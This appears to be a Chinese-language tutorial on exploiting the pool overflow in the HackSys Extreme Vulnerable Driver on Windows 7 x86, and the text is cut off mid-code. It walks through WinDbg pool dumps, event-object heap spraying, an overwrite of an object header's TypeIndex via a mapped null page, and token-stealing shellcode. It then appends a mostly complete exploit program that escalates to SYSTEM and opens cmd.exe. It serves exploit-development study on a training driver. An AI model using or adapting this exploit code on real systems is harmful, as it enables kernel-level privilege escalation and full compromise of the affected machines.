windows内核池简介
kd> dt nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x004 AllocatorBackTraceIndex : Uint2B
+0x006 PoolTagHash : Uint2B
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
HEVD池漏洞代码分析
#define POOL_BUFFER_SIZE 504
__try {
DbgPrint("[+] Allocating Pool chunkn");
// Allocate Pool chunk
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
if (!KernelBuffer) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunkn");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %sn", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %sn", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%Xn", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%pn", KernelBuffer);
}
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%pn", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%Xn", Size);
DbgPrint("[+] KernelBuffer: 0x%pn", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%Xn", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Pool Overflown");
// Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
if (KernelBuffer) {
DbgPrint("[+] Freeing Pool chunkn");
DbgPrint("[+] Pool Tag: %sn", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%pn", KernelBuffer);
// Free the allocated Pool chunk
ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
KernelBuffer = NULL;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%Xn", Status);
}
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
ExAllocatePoolWithTag(NonPagedPool, (SIZE_T) POOL_BUFFER_SIZE, (ULONG)POOL_TAG);
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
kd> !pool 0x8745dd88
Pool page 8745dd88 region is Nonpaged pool
8745d000 size: 988 previous size: 0 (Allocated) Devi (Protected)
8745d988 size: 8 previous size: 988 (Free) File
8745d990 size: c8 previous size: 8 (Allocated) Ntfx
8745da58 size: 90 previous size: c8 (Allocated) MmCa
8745dae8 size: 168 previous size: 90 (Allocated) CcSc
8745dc50 size: b8 previous size: 168 (Allocated) File (Protected)
8745dd08 size: 8 previous size: b8 (Free) usbp
8745dd10 size: 68 previous size: 8 (Allocated) EtwR (Protected)
8745dd78 size: 8 previous size: 68 (Free) XSav
*8745dd80 size: 200 previous size: 8 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
8745df80 size: 80 previous size: 200 (Free ) MmRl
kd> dd 8745d988
8745d988 00010131 e56c6946 04190001 7866744e
8745d998 00bc0743 00000001 00000000 00000000
8745d9a8 00040001 00000000 8745d9b0 8745d9b0
8745d9b8 00000000 8745da1c 87336164 00000000
8745d9c8 00000000 00000000 00000000 00000000
8745d9d8 00000000 00000000 00000000 00000000
8745d9e8 00000000 00000000 00000000 00280707
8745d9f8 00000000 00000000 00000000 00000000
kd> dt nt!_POOL_HEADER 8745d988
+0x000 PreviousSize : 0y100110001 (0x131)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000000001 (0x1)
+0x002 PoolType : 0y0000000 (0)
+0x000 Ulong1 : 0x10131
+0x004 PoolTag : 0xe56c6946
+0x004 AllocatorBackTraceIndex : 0x6946
+0x006 PoolTagHash : 0xe56c
kd> dd 8745dd80
8745dd80 04400001 6b636148 00000000 0000001b
8745dd90 083e0003 c3504c41 88129210 00000148
8745dda0 183c0005 6770534e 85aad038 00000000
8745ddb0 8745dde4 0000000a 00000001 00000001
8745ddc0 8745ddfc 00000018 8745deec 00000018
8745ddd0 8745de8c 00000008 8745debc 00000008
8745dde0 00000004 00000018 00000001 eb004a01
8745ddf0 11d49b1a 50002391 bc597704 00000000
kd> dt nt!_POOL_HEADER 8745dd80
+0x000 PreviousSize : 0y000000001 (0x1)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y001000000 (0x40)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4400001
+0x004 PoolTag : 0x6b636148
+0x004 AllocatorBackTraceIndex : 0x6148
+0x006 PoolTagHash : 0x6b63
//memset(UserModeBuffer, 0x41, 504);
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
kd> dd 8745dd80 L100
8745dd80 04400001 6b636148 41414141 41414141
8745dd90 41414141 41414141 41414141 41414141
8745dda0 41414141 41414141 41414141 41414141
8745ddb0 41414141 41414141 41414141 41414141
8745ddc0 41414141 41414141 41414141 41414141
8745ddd0 41414141 41414141 41414141 41414141
8745dde0 41414141 41414141 41414141 41414141
8745ddf0 41414141 41414141 41414141 41414141
8745de00 41414141 41414141 41414141 41414141
8745de10 41414141 41414141 41414141 41414141
8745de20 41414141 41414141 41414141 41414141
8745de30 41414141 41414141 41414141 41414141
8745de40 41414141 41414141 41414141 41414141
8745de50 41414141 41414141 41414141 41414141
8745de60 41414141 41414141 41414141 41414141
8745de70 41414141 41414141 41414141 41414141
8745de80 41414141 41414141 41414141 41414141
8745de90 41414141 41414141 41414141 41414141
8745dea0 41414141 41414141 41414141 41414141
8745deb0 41414141 41414141 41414141 41414141
8745dec0 41414141 41414141 41414141 41414141
8745ded0 41414141 41414141 41414141 41414141
8745dee0 41414141 41414141 41414141 41414141
8745def0 41414141 41414141 41414141 41414141
8745df00 41414141 41414141 41414141 41414141
8745df10 41414141 41414141 41414141 41414141
8745df20 41414141 41414141 41414141 41414141
8745df30 41414141 41414141 41414141 41414141
8745df40 41414141 41414141 41414141 41414141
8745df50 41414141 41414141 41414141 41414141
8745df60 41414141 41414141 41414141 41414141
8745df70 41414141 41414141 41414141 41414141
8745df80 08100040 6c526d4d 00000000 87487398
8745df90 00000000 8745df94 8745df94 00000004
8745dfa0 00000005 ffffffff 00000000 00000000
8745dfb0 00000000 8745dfb4 8745dfb4 00000000
8745dfc0 00000000 00000000 00000000 8745dfcc
8745dfd0 8745dfcc 00000004 00000465 87ef35e8
8745dfe0 88097ae0 00000000 00000000 00000000
8745dff0 00000000 00000000 00000000 87f32380
8745e000 01010129 00000000 00055400 0003023f
8745e010 00000000 00055420 00030240 00000000
---------------------------------------------------------
char UserModeBuffer[512 + 8] = { 0x41 };
memset(UserModeBuffer, 0x41, 512);
memset(UserModeBuffer + 512, 0x42, 8);
UserModeBufferSize = 512 + 8;
kd> dd 8818d610
8818d610 085f0040 70627375 88335fb8 00000000
8818d620 00000000 00000000 00000000 00000000
8818d630 43787254 00000000 00000000 000000c8
8818d640 077415ad 00000000 00000000 0000020a
8818d650 0000000f 000002f0 000002cc 00000003
8818d660 00000001 00000000 6f6d7455 86378028
8818d670 00000000 00000000 00000000 00000000
8818d680 00000000 00000000 00000000 00000000
kd> dt nt!_POOL_HEADER 8818d610
+0x000 PreviousSize : 0y001000000 (0x40)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y001011111 (0x5f)
+0x002 PoolType : 0y0000100 (0x4)
+0x000 Ulong1 : 0x85f0040
+0x004 PoolTag : 0x70627375
+0x004 AllocatorBackTraceIndex : 0x7375
+0x006 PoolTagHash : 0x706
kd> dt nt!_POOL_HEADER 8818d610
+0x000 PreviousSize : 0y101000001 (0x141)
+0x000 PoolIndex : 0y0100000 (0x20)
+0x002 BlockSize : 0y101000001 (0x141)
+0x002 PoolType : 0y0100000 (0x20)
+0x000 Ulong1 : 0x41414141
+0x004 PoolTag : 0x41414141
+0x004 AllocatorBackTraceIndex : 0x4141
+0x006 PoolTagHash : 0x4141
kd> dd 8818d610
8818d610 41414141 41414141 42424242 42424242
8818d620 00000000 00000000 00000000 00000000
8818d630 43787254 00000000 00000000 000000c8
8818d640 077415ad 00000000 00000000 0000020a
8818d650 0000000f 000002f0 000002cc 00000003
8818d660 00000001 00000000 6f6d7455 86378028
8818d670 00000000 00000000 00000000 00000000
8818d680 00000000 00000000 00000000 00000000
HANDLE WINAPI CreateEvent(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
_In_ BOOL bInitialState,
_In_opt_ LPCTSTR lpName
);
BOOL WINAPI CloseHandle(
_In_ HANDLE hObject
);
//heap spray
HANDLE spray_event1[10000] = { NULL };
HANDLE spray_event2[5000] = { NULL };
for (int i = 0; i < 10000; i++)
{
spray_event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
for (int j = 0; j < 5000; j++)
{
spray_event2[j] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
for (int i = 5000-1; i >= 4989; i--)
{
printf("%xn", spray_event2[i]);
}
kd> !handle eafc
PROCESS 85a54030 SessionId: 1 Cid: 0a0c Peb: 7ffdf000 ParentCid: 05e8
DirBase: bebcd580 ObjectTable: a6088008 HandleCount: 15010.
Image: MyExploitForHevd.exe
Handle table at a6088008 with 15010 entries in use
eafc: Object: 85b33930 GrantedAccess: 001f0003 Entry: a5ada5f8
Object: 85b33930 Type: (85763418) Event
ObjectHeader: 85b33918 (new version)
HandleCount: 1 PointerCount: 1
kd> !pool 85b33930
Pool page 85b33930 region is Nonpaged pool
85b33000 size: 40 previous size: 0 (Allocated) Even (Protected)
85b33040 size: 290 previous size: 40 (Free) ...@
85b332d0 size: 40 previous size: 290 (Allocated) SeTl
85b33310 size: 2f8 previous size: 40 (Allocated) usbp
85b33608 size: 2f8 previous size: 2f8 (Allocated) usbp
*85b33900 size: 40 previous size: 2f8 (Allocated) *Even (Protected)
Pooltag Even : Event objects
85b33940 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33980 size: 40 previous size: 40 (Allocated) Even (Protected)
85b339c0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33a00 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33a40 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33a80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33ac0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33b00 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33b40 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33b80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33bc0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33c00 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33c40 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33c80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33cc0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33d00 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33d40 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33d80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33dc0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33e00 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33e40 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33e80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33ec0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33f00 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33f40 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33f80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b33fc0 size: 40 previous size: 40 (Allocated) Even (Protected)
//制造堆喷区空洞, 目的使我们的数据分配到空洞上;
for (int i = 0; i < 5000; i = i + 16)
{
for (int j = 0; j < 8; j++)
{
//一个event对象大小0x40, 0x200的空间需要8个event对象;
CloseHandle(spray_event2[i + j]);
}
}
kd> !pool 85b32d70
Pool page 85b32d70 region is Nonpaged pool
85b32000 size: 2f8 previous size: 0 (Allocated) usbp
85b322f8 size: 510 previous size: 2f8 (Free) ."..
85b32808 size: 2f8 previous size: 510 (Allocated) usbp
85b32b00 size: 40 previous size: 2f8 (Free ) Even (Protected)
85b32b40 size: 40 previous size: 40 (Free ) Even (Protected)
85b32b80 size: 40 previous size: 40 (Free ) Even (Protected)
85b32bc0 size: 40 previous size: 40 (Free ) Even (Protected)
85b32c00 size: 40 previous size: 40 (Free ) Even (Protected)
85b32c40 size: 40 previous size: 40 (Free ) Even (Protected)
85b32c80 size: 40 previous size: 40 (Free ) Even (Protected)
85b32cc0 size: 40 previous size: 40 (Free) Even
85b32d00 size: 40 previous size: 40 (Allocated) Even (Protected)
*85b32d40 size: 40 previous size: 40 (Allocated) *Even (Protected)
Pooltag Even : Event objects
85b32d80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b32dc0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b32e00 size: 40 previous size: 40 (Allocated) Even (Protected)
85b32e40 size: 40 previous size: 40 (Allocated) Even (Protected)
85b32e80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b32ec0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b32f00 size: 100 previous size: 40 (Free) Even
kd> !pool 0x85b108c8
Pool page 85b108c8 region is Nonpaged pool
85b10000 size: 40 previous size: 0 (Allocated) Even (Protected)
85b10040 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10080 size: 40 previous size: 40 (Allocated) Even (Protected)
85b100c0 size: 200 previous size: 40 (Free) Even(8个一组的缝隙)
85b102c0 size: 40 previous size: 200 (Allocated) Even (Protected)
85b10300 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10340 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10380 size: 40 previous size: 40 (Allocated) Even (Protected)
85b103c0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10400 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10440 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10480 size: 40 previous size: 40 (Allocated) Even (Protected)
85b104c0 size: 200 previous size: 40 (Free) Even(8个一组的缝隙)
85b106c0 size: 40 previous size: 200 (Allocated) Even (Protected)
85b10700 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10740 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10780 size: 40 previous size: 40 (Allocated) Even (Protected)
85b107c0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10800 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10840 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10880 size: 40 previous size: 40 (Allocated) Even (Protected)
*85b108c0 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
85b10ac0 size: 40 previous size: 200 (Allocated) Even (Protected)
85b10b00 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10b40 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10b80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10bc0 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10c00 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10c40 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10c80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10cc0 size: c0 previous size: 40 (Free) Even
85b10d80 size: 140 previous size: c0 (Allocated) Io Process: 873d9478
85b10ec0 size: 40 previous size: 140 (Allocated) Even (Protected)
85b10f00 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10f40 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10f80 size: 40 previous size: 40 (Allocated) Even (Protected)
85b10fc0 size: 40 previous size: 40 (Allocated) Even (Protected)
kd> dt nt!_OBJECT_HEADER_QUOTA_INFO
+0x000 PagedPoolCharge : Uint4B
+0x004 NonPagedPoolCharge : Uint4B
+0x008 SecurityDescriptorCharge : Uint4B
+0x00c SecurityDescriptorQuotaBlock : Ptr32 Void
kd> dt nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
+0x004 NextToFree : Ptr32 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : UChar
+0x00d TraceFlags : UChar
+0x00e InfoMask : UChar
+0x00f Flags : UChar
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : Ptr32 Void
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body
kd> dt nt!_OBJECT_HEADER 85b10ac0+8+10 .
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree :
+0x008 Lock :
+0x000 Locked : 0y0
+0x000 Waiting : 0y0
+0x000 Waking : 0y0
+0x000 MultipleShared : 0y0
+0x000 Shared : 0y0000000000000000000000000000 (0)
+0x000 Value : 0
+0x000 Ptr : (null)
+0x00c TypeIndex : 0xc ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo :
+0x010 QuotaBlockCharged :
+0x014 SecurityDescriptor :
+0x018 Body :
+0x000 UseThisFieldToCopy : 0n262145
+0x000 DoNotUseThisField : 1.2951683872905357532e-318
kd> dd nt!ObTypeIndexTable
82b8a900 00000000 bad0b0b0 8564e900 8564e838
82b8a910 8564e770 8564e570 856ee040 856eef78
82b8a920 856eeeb0 856eede8 856eed20 856ee6a0
82b8a930 85763418 8571f878 856fb430 856fb368
82b8a940 8570f430 8570f368 8575b448 8575b380
82b8a950 8576b450 8576b388 857539c8 85753900
82b8a960 85753838 856ef7a8 856ef6e0 856ef618
82b8a970 856f39b8 856f34f0 856f3428 8573df78
kd> dt nt!_OBJECT_TYPE 85763418 .
+0x000 TypeList : [ 0x85763418 - 0x85763418 ]
+0x000 Flink : 0x85763418 _LIST_ENTRY [ 0x85763418 - 0x85763418 ]
+0x004 Blink : 0x85763418 _LIST_ENTRY [ 0x85763418 - 0x85763418 ]
+0x008 Name : "Event"
+0x000 Length : 0xa
+0x002 MaximumLength : 0xc
+0x004 Buffer : 0x8c605570 "Event"
+0x010 DefaultObject :
+0x014 Index : 0xc ''
+0x018 TotalNumberOfObjects : 0x3c66
+0x01c TotalNumberOfHandles : 0x3ca0
+0x020 HighWaterNumberOfObjects : 0x4827
+0x024 HighWaterNumberOfHandles : 0x487c
+0x028 TypeInfo :
+0x000 Length : 0x50
+0x002 ObjectTypeFlags : 0 ''
+0x002 CaseInsensitive : 0y0
+0x002 UnnamedObjectsOnly : 0y0
+0x002 UseDefaultObject : 0y0
+0x002 SecurityRequired : 0y0
+0x002 MaintainHandleCount : 0y0
+0x002 MaintainTypeList : 0y0
+0x002 SupportsObjectCallbacks : 0y0
+0x004 ObjectTypeCode : 2
+0x008 InvalidAttributes : 0x100
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : 0x1f0003
+0x020 RetainAccess : 0
+0x024 PoolType : 0 ( NonPagedPool )
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0x40
+0x030 DumpProcedure : (null)
+0x034 OpenProcedure : (null)
+0x038 CloseProcedure : (null)
+0x03c DeleteProcedure : (null)
+0x040 ParseProcedure : (null)
+0x044 SecurityProcedure : 0x82cac5b6 long nt!SeDefaultObjectMethod+0
+0x048 QueryNameProcedure : (null)
+0x04c OkayToCloseProcedure : (null)
+0x078 TypeLock :
+0x000 Locked : 0y0
+0x000 Waiting : 0y0
+0x000 Waking : 0y0
+0x000 MultipleShared : 0y0
+0x000 Shared : 0y0000000000000000000000000000 (0)
+0x000 Value : 0
+0x000 Ptr : (null)
+0x07c Key : 0x6e657645
+0x080 CallbackList : [ 0x85763498 - 0x85763498 ]
+0x000 Flink : 0x85763498 _LIST_ENTRY [ 0x85763498 - 0x85763498 ]
+0x004 Blink : 0x85763498 _LIST_ENTRY [ 0x85763498 - 0x85763498 ]
kd> dd 85b10ac0
85b10ac0 04080040 ee657645 00000000 00000040
85b10ad0 00000000 00000000 00000001 00000001
85b10ae0 00000000 0008000c 87cc1640 00000000
//构造数据,覆盖_OBJECT_HEADER偏移+0x00c的值覆盖为0,
char junk_buffer[504] = { 0x41 };
memset(junk_buffer, 0x41, 504);
char overwritedata[41] =
"x40x00x08x04"
"x45x76x65xee"
"x00x00x00x00"
"x40x00x00x00"
"x00x00x00x00"
"x00x00x00x00"
"x01x00x00x00"
"x01x00x00x00"
"x00x00x00x00"
"x00x00x08x00";
char UserModeBuffer[504 + 40 + 1] = {0};
int UserModeBufferSize = 504 + 40;
memcpy(UserModeBuffer, junk_buffer, 504);
memcpy(UserModeBuffer + 504, overwritedata, 40);
*(PULONG)0x00000060 = (ULONG)pShellcodeBuf;
//这个spray_event1释放循环目前来看,好像不是必须的;
for (int i = 0; i < 10000; i++)
{
CloseHandle(spray_event1[i]);
}
//这里i不能从0开始,因为i从0开始的chunk都是我们已经释放的;
//我们的数据在其中的连续8个chunk上,而被覆盖chunk在释放的chunk后面;
//所以这里i从8开始;
for (int i = 8; i < 5000; i = i + 16)
{
for (int j = 0; j < 8; j++)
{
CloseHandle(spray_event2[i + j]);
}
}
kd> dd 0
00000000 00000000 00000000 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 000d0000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000
kd> uf 000d0000
000d0000 90 nop
000d0001 90 nop
000d0002 90 nop
000d0003 90 nop
000d0004 60 pushad
000d0005 64a124010000 mov eax,dword ptr fs:[00000124h]
000d000b 8b4050 mov eax,dword ptr [eax+50h]
000d000e 89c1 mov ecx,eax
000d0010 8b98f8000000 mov ebx,dword ptr [eax+0F8h]
000d0016 ba04000000 mov edx,4
000d001b 8b80b8000000 mov eax,dword ptr [eax+0B8h]
000d0021 2db8000000 sub eax,0B8h
000d0026 3990b4000000 cmp dword ptr [eax+0B4h],edx
000d002c 75ed jne 000d001b Branch
000d002e 8b90f8000000 mov edx,dword ptr [eax+0F8h]
000d0034 8991f8000000 mov dword ptr [ecx+0F8h],edx
000d003a 61 popad
000d003b c21000 ret 10h
参考
附:利用代码:
#include <stdio.h>
#include <Windows.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#define DEVICE_NAME "\\.\HackSysExtremeVulnerableDriver"
#define HACKSYS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef NTSTATUS(WINAPI *NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
NtAllocateVirtualMemory_t NtAllocateVirtualMemory;
BOOL MapNullPage() {
HMODULE hNtdll;
SIZE_T RegionSize = 0x1000; // will be rounded up to the next host
// page size address boundary -> 0x2000
PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host
// page size address boundary -> 0x00000000
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
hNtdll = GetModuleHandle("ntdll.dll");
// Grab the address of NtAllocateVirtualMemory
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) {
printf("tt[-] Failed Resolving NtAllocateVirtualMemory: 0x%Xn", GetLastError());
exit(EXIT_FAILURE);
}
// Allocate the Virtual memory
NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (NtStatus != STATUS_SUCCESS) {
printf("tttt[-] Virtual Memory Allocation Failed: 0x%xn", NtStatus);
exit(EXIT_FAILURE);
}
else {
printf("ttt[+] Memory Allocated: 0x%pn", BaseAddress);
printf("ttt[+] Allocation Size: 0x%Xn", RegionSize);
}
FreeLibrary(hNtdll);
return TRUE;
}
char shellcode[] =
"x90x90x90x90" //# NOP Sled
"x60" //# pushad
"x64xA1x24x01x00x00" //# mov eax, fs:[KTHREAD_OFFSET]
"x8Bx40x50" //# mov eax, [eax + EPROCESS_OFFSET]
"x89xC1" //# mov ecx, eax(Current _EPROCESS structure)
"x8Bx98xF8x00x00x00" //# mov ebx, [eax + TOKEN_OFFSET]
"xBAx04x00x00x00" //# mov edx, 4 (SYSTEM PID)
"x8Bx80xB8x00x00x00" //# mov eax, [eax + FLINK_OFFSET]
"x2DxB8x00x00x00" //# sub eax, FLINK_OFFSET
"x39x90xB4x00x00x00" //# cmp[eax + PID_OFFSET], edx
"x75xED" //# jnz
"x8Bx90xF8x00x00x00" //# mov edx, [eax + TOKEN_OFFSET]
"x89x91xF8x00x00x00" //# mov[ecx + TOKEN_OFFSET], edx
"x61" //# popad
"xC2x10x00"; //# ret 16
void xxCreateCmdLineProcess()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
char szCommandLine[50] = "cmd.exe";
// 创建cmd子进程;
BOOL bReturn = CreateProcess(NULL,
szCommandLine,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
if (bReturn)
{
//不使用的句柄最好关掉;
printf("process id: %dn", pi.dwProcessId);
printf("thread id: %dn", pi.dwThreadId);
//WaitForSingleObject(pi.hProcess, INFINITE);
//CloseHandle(pi.hThread);
//CloseHandle(pi.hProcess);
}
else
{
//如果创建进程失败,查看错误码;
DWORD dwErrCode = GetLastError();
printf("ErrCode : %dn", dwErrCode);
}
}
HANDLE GetDeviceHandle(LPCSTR FileName) {
HANDLE hFile = NULL;
hFile = CreateFile(FileName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
return hFile;
}
DWORD WINAPI PoolOverflowThread(LPVOID Parameter) {
ULONG BytesReturned;
HANDLE hFile = NULL;
PVOID Memory = NULL;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
// Get the device handle
printf("t[+] Getting Device Driver Handlen");
printf("tt[+] Device Name: %sn", FileName);
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
printf("tt[-] Failed Getting Device Handle: 0x%Xn", GetLastError());
exit(EXIT_FAILURE);
}
else {
printf("tt[+] Device Handle: 0x%Xn", hFile);
}
printf("t[+] Triggering Pool Overflown");
OutputDebugString("****************Kernel Mode****************n");
if (!MapNullPage()) {
printf("tt[-] Failed Mapping Null Page: 0x%Xn", GetLastError());
exit(EXIT_FAILURE);
}
// Set the DeleteProcedure to the address of our payload
int shellcode_len = sizeof(shellcode);
char *pShellcodeBuf = (char*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);
printf("ShellCode = %xn", pShellcodeBuf);
*(PULONG)0x00000060 = (ULONG)pShellcodeBuf;
//heap spray
HANDLE spray_event1[10000] = { NULL };
HANDLE spray_event2[5000] = { NULL };
for (int i = 0; i < 10000; i++)
{
spray_event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
for (int j = 0; j < 5000; j++)
{
spray_event2[j] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
for (int i = 5000-1; i >= 4989; i--)
{
printf("%xn", spray_event2[i]);
}
//制造堆喷区空洞, 目的使我们的数据分配到空洞上;
for (int i = 0; i < 5000; i = i + 16)
{
for (int j = 0; j < 8; j++)
{
//一个event对象大小0x40, 0x200的空间需要8个event对象;
CloseHandle(spray_event2[i + j]);
}
}
//构造数据,覆盖_OBJECT_HEADER偏移+0x00c的值覆盖为0,
char junk_buffer[504] = { 0x41 };
